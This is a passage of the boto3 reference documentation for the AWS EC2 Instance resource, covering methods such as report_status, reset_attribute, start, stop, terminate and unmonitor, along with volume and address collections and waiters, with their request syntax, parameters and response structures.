DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") to update the attributes of the Instance resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +instance.reload() + +Returns + +None + +report_status(kwargs_) + +Submits feedback about the status of an instance. The instance must be in the running state. If your experience with the instance differs from the instance status returned by DescribeInstanceStatus , use ReportInstanceStatus to report your experience with the instance. Amazon EC2 collects this information to improve the accuracy of status checks. + +Use of this action does not change the value returned by DescribeInstanceStatus . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReportInstanceStatus) + +**Request Syntax** + +response = instance.report_status( + Description='string', + DryRun=True|False, + EndTime=datetime(2015, 1, 1), + ReasonCodes=[ + 'instance-stuck-in-state'|'unresponsive'|'not-accepting-credentials'|'password-not-available'|'performance-network'|'performance-instance-store'|'performance-ebs-volume'|'performance-other'|'other', + ], + StartTime=datetime(2015, 1, 1), + Status='ok'|'impaired' +) + +Parameters + +- **Description** (_string_) -- Descriptive text about the health state of your instance. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EndTime** (_datetime_) -- The time at which the reported instance health state ended. +- **ReasonCodes** (_list_) -- + + **[REQUIRED]** + + The reason codes that describe the health state of your instance. + + - instance-stuck-in-state : My instance is stuck in a state. + - unresponsive : My instance is unresponsive. + - not-accepting-credentials : My instance is not accepting my credentials. + - password-not-available : A password is not available for my instance. + - performance-network : My instance is experiencing performance problems that I believe are network related. + - performance-instance-store : My instance is experiencing performance problems that I believe are related to the instance stores. + - performance-ebs-volume : My instance is experiencing performance problems that I believe are related to an EBS volume. + - performance-other : My instance is experiencing performance problems. + - other : [explain using the description parameter] + + - _(string) --_ +- **StartTime** (_datetime_) -- The time at which the reported instance health state began. +- **Status** (_string_) -- + + **[REQUIRED]** + + The status of all instances listed. + + +Returns + +None + +reset_attribute(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. + + Warning + + You can only reset the following attributes: kernel | ramdisk | sourceDestCheck . To change an instance attribute, use ModifyInstanceAttribute . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_kernel(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_kernel( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_ramdisk(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_ramdisk( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_source_dest_check(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_source_dest_check( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = instance.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = instance.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = instance.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = instance.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +volumes + +A collection of Volume resources.A Volume Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.all() + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +filter(kwargs_) + +Creates an iterable of all Volume resources in the collection filtered by kwargs passed to method.A Volume collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.filter( + VolumeIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **VolumeIds** (_list_) -- + + The volume IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumes in paginated output. When this parameter is used, DescribeVolumes only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeVolumes request with the returned NextToken value. This value can be between 5 and 500; if MaxResults is given a value larger than 500, only 500 results are returned. If this parameter is not used, then DescribeVolumes returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeVolumes request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +page_size(kwargs_) + +Creates an iterable of all Volume resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +vpc_addresses + +A collection of VpcAddress resources.A VpcAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.all() + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +filter(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection filtered by kwargs passed to method.A VpcAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +page_size(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this Instance is exists. This method calls EC2.Waiter.instance_exists.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 5 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation 